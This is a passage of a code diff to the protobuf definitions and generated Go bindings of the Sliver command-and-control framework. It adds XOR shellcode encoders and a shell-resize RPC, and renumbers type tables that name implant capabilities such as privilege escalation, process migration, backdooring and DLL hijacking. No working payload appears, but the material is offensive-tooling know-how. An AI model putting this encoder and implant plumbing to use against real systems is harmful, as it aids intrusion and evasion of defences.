bool NetGoEnabled = 151;
@@ -690,6 +710,8 @@ message Backdoor { commonpb.Response Response = 9; }
enum ShellcodeEncoder {
NONE = 0;
SHIKATA_GA_NAI = 1;
XOR = 2;
XOR_DYNAMIC = 3;
}
message ShellcodeEncodeReq {
@@ -697,6 +719,7 @@ message ShellcodeEncodeReq {
string Architecture = 2;
uint32 Iterations = 3;
bytes BadChars = 4;
reserved 5;
bytes Data = 8;
commonpb.Request Request = 9;
@@ -708,7 +731,14 @@ message ShellcodeEncode {
commonpb.Response Response = 9;
}
message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
message ShellcodeEncoderArchMap {
map<string, ShellcodeEncoder> Encoders = 1;
map<string, string> Descriptions = 2;
}
message ShellcodeEncoderMap {
map<string, ShellcodeEncoderArchMap> Encoders = 1;
}
// [ Builder ] ----------------------------------------
+336 -329
View File
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xc5, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0xff, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -697,36 +697,40 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65,
0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66,
0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e,
0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c,
0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x38, 0x0a, 0x0b, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x52, 0x65, 0x71,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52,
0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50,
0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01,
0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61,
0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06,
0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73,
0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65,
0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63,
0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63,
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -856,113 +860,114 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.WGTCPForwardersReq)(nil), // 123: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 124: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 125: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 126: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 127: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 128: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 129: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 130: sliverpb.TunnelData
(*clientpb.Version)(nil), // 131: clientpb.Version
(*clientpb.Operators)(nil), // 132: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 133: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 134: clientpb.Sessions
(*commonpb.Response)(nil), // 135: commonpb.Response
(*clientpb.MonitoringProviders)(nil), // 136: clientpb.MonitoringProviders
(*clientpb.ListenerJob)(nil), // 137: clientpb.ListenerJob
(*clientpb.Beacons)(nil), // 138: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 139: clientpb.BeaconTasks
(*clientpb.Jobs)(nil), // 140: clientpb.Jobs
(*clientpb.KillJob)(nil), // 141: clientpb.KillJob
(*clientpb.StagerListener)(nil), // 142: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 143: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 144: clientpb.AllHosts
(*clientpb.Generate)(nil), // 145: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 146: clientpb.ExternalImplantConfig
(*clientpb.HTTPC2Configs)(nil), // 147: clientpb.HTTPC2Configs
(*clientpb.HTTPC2Config)(nil), // 148: clientpb.HTTPC2Config
(*clientpb.Builders)(nil), // 149: clientpb.Builders
(*clientpb.CertificateInfo)(nil), // 150: clientpb.CertificateInfo
(*clientpb.CertificateAuthorityInfo)(nil), // 151: clientpb.CertificateAuthorityInfo
(*clientpb.Crackstations)(nil), // 152: clientpb.Crackstations
(*clientpb.CrackFiles)(nil), // 153: clientpb.CrackFiles
(*clientpb.ImplantBuilds)(nil), // 154: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 155: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 156: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 157: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 158: clientpb.ImplantProfiles
(*clientpb.ShellcodeRDI)(nil), // 159: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 160: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 161: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 162: clientpb.ShellcodeEncoderMap
(*clientpb.TrafficEncoderMap)(nil), // 163: clientpb.TrafficEncoderMap
(*clientpb.TrafficEncoderTests)(nil), // 164: clientpb.TrafficEncoderTests
(*clientpb.Websites)(nil), // 165: clientpb.Websites
(*sliverpb.Ps)(nil), // 166: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 167: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 168: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 169: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 170: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 171: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 172: sliverpb.Mv
(*sliverpb.Cp)(nil), // 173: sliverpb.Cp
(*sliverpb.Rm)(nil), // 174: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 175: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 176: sliverpb.Download
(*sliverpb.Upload)(nil), // 177: sliverpb.Upload
(*sliverpb.Grep)(nil), // 178: sliverpb.Grep
(*sliverpb.Chmod)(nil), // 179: sliverpb.Chmod
(*sliverpb.Chown)(nil), // 180: sliverpb.Chown
(*sliverpb.Chtimes)(nil), // 181: sliverpb.Chtimes
(*sliverpb.MemfilesAdd)(nil), // 182: sliverpb.MemfilesAdd
(*sliverpb.MemfilesRm)(nil), // 183: sliverpb.MemfilesRm
(*sliverpb.Mount)(nil), // 184: sliverpb.Mount
(*sliverpb.ProcessDump)(nil), // 185: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 186: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 187: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 188: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 189: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 190: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 191: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 192: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 193: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 194: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 195: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 196: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 197: sliverpb.CurrentTokenOwner
(*sliverpb.Services)(nil), // 198: sliverpb.Services
(*sliverpb.ServiceDetail)(nil), // 199: sliverpb.ServiceDetail
(*sliverpb.ServiceInfo)(nil), // 200: sliverpb.ServiceInfo
(*sliverpb.PivotListener)(nil), // 201: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 202: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 203: clientpb.PivotGraph
(*sliverpb.MakeToken)(nil), // 204: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 205: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 206: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 207: sliverpb.UnsetEnv
(*clientpb.Backdoor)(nil), // 208: clientpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 209: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 210: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 211: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 212: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 213: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 214: sliverpb.RegistryValuesList
(*sliverpb.RegistryReadHive)(nil), // 215: sliverpb.RegistryReadHive
(*sliverpb.SSHCommand)(nil), // 216: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 217: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 218: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 219: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 220: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 221: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 222: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 223: sliverpb.ListExtensions
(*sliverpb.RegisterWasmExtension)(nil), // 224: sliverpb.RegisterWasmExtension
(*sliverpb.ListWasmExtensions)(nil), // 225: sliverpb.ListWasmExtensions
(*sliverpb.ExecWasmExtension)(nil), // 226: sliverpb.ExecWasmExtension
(*sliverpb.WGPortForward)(nil), // 227: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 228: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 229: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 230: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 231: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 232: sliverpb.Portfwd
(*sliverpb.ShellResizeReq)(nil), // 126: sliverpb.ShellResizeReq
(*sliverpb.PortfwdReq)(nil), // 127: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 128: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 129: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 130: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 131: sliverpb.TunnelData
(*clientpb.Version)(nil), // 132: clientpb.Version
(*clientpb.Operators)(nil), // 133: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 134: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 135: clientpb.Sessions
(*commonpb.Response)(nil), // 136: commonpb.Response
(*clientpb.MonitoringProviders)(nil), // 137: clientpb.MonitoringProviders
(*clientpb.ListenerJob)(nil), // 138: clientpb.ListenerJob
(*clientpb.Beacons)(nil), // 139: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 140: clientpb.BeaconTasks
(*clientpb.Jobs)(nil), // 141: clientpb.Jobs
(*clientpb.KillJob)(nil), // 142: clientpb.KillJob
(*clientpb.StagerListener)(nil), // 143: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 144: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 145: clientpb.AllHosts
(*clientpb.Generate)(nil), // 146: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 147: clientpb.ExternalImplantConfig
(*clientpb.HTTPC2Configs)(nil), // 148: clientpb.HTTPC2Configs
(*clientpb.HTTPC2Config)(nil), // 149: clientpb.HTTPC2Config
(*clientpb.Builders)(nil), // 150: clientpb.Builders
(*clientpb.CertificateInfo)(nil), // 151: clientpb.CertificateInfo
(*clientpb.CertificateAuthorityInfo)(nil), // 152: clientpb.CertificateAuthorityInfo
(*clientpb.Crackstations)(nil), // 153: clientpb.Crackstations
(*clientpb.CrackFiles)(nil), // 154: clientpb.CrackFiles
(*clientpb.ImplantBuilds)(nil), // 155: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 156: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 157: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 158: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 159: clientpb.ImplantProfiles
(*clientpb.ShellcodeRDI)(nil), // 160: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 161: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 162: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 163: clientpb.ShellcodeEncoderMap
(*clientpb.TrafficEncoderMap)(nil), // 164: clientpb.TrafficEncoderMap
(*clientpb.TrafficEncoderTests)(nil), // 165: clientpb.TrafficEncoderTests
(*clientpb.Websites)(nil), // 166: clientpb.Websites
(*sliverpb.Ps)(nil), // 167: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 168: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 169: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 170: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 171: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 172: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 173: sliverpb.Mv
(*sliverpb.Cp)(nil), // 174: sliverpb.Cp
(*sliverpb.Rm)(nil), // 175: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 176: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 177: sliverpb.Download
(*sliverpb.Upload)(nil), // 178: sliverpb.Upload
(*sliverpb.Grep)(nil), // 179: sliverpb.Grep
(*sliverpb.Chmod)(nil), // 180: sliverpb.Chmod
(*sliverpb.Chown)(nil), // 181: sliverpb.Chown
(*sliverpb.Chtimes)(nil), // 182: sliverpb.Chtimes
(*sliverpb.MemfilesAdd)(nil), // 183: sliverpb.MemfilesAdd
(*sliverpb.MemfilesRm)(nil), // 184: sliverpb.MemfilesRm
(*sliverpb.Mount)(nil), // 185: sliverpb.Mount
(*sliverpb.ProcessDump)(nil), // 186: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 187: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 188: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 189: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 190: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 191: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 192: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 193: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 194: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 195: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 196: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 197: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 198: sliverpb.CurrentTokenOwner
(*sliverpb.Services)(nil), // 199: sliverpb.Services
(*sliverpb.ServiceDetail)(nil), // 200: sliverpb.ServiceDetail
(*sliverpb.ServiceInfo)(nil), // 201: sliverpb.ServiceInfo
(*sliverpb.PivotListener)(nil), // 202: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 203: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 204: clientpb.PivotGraph
(*sliverpb.MakeToken)(nil), // 205: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 206: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 207: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 208: sliverpb.UnsetEnv
(*clientpb.Backdoor)(nil), // 209: clientpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 210: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 211: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 212: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 213: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 214: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 215: sliverpb.RegistryValuesList
(*sliverpb.RegistryReadHive)(nil), // 216: sliverpb.RegistryReadHive
(*sliverpb.SSHCommand)(nil), // 217: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 218: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 219: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 220: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 221: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 222: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 223: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 224: sliverpb.ListExtensions
(*sliverpb.RegisterWasmExtension)(nil), // 225: sliverpb.RegisterWasmExtension
(*sliverpb.ListWasmExtensions)(nil), // 226: sliverpb.ListWasmExtensions
(*sliverpb.ExecWasmExtension)(nil), // 227: sliverpb.ExecWasmExtension
(*sliverpb.WGPortForward)(nil), // 228: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 229: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 230: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 231: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 232: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 233: sliverpb.Portfwd
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -1139,198 +1144,200 @@ var file_rpcpb_services_proto_depIdxs = []int32{
123, // 171: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
124, // 172: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
125, // 173: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
126, // 174: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
127, // 175: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
127, // 176: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
128, // 177: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
129, // 178: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
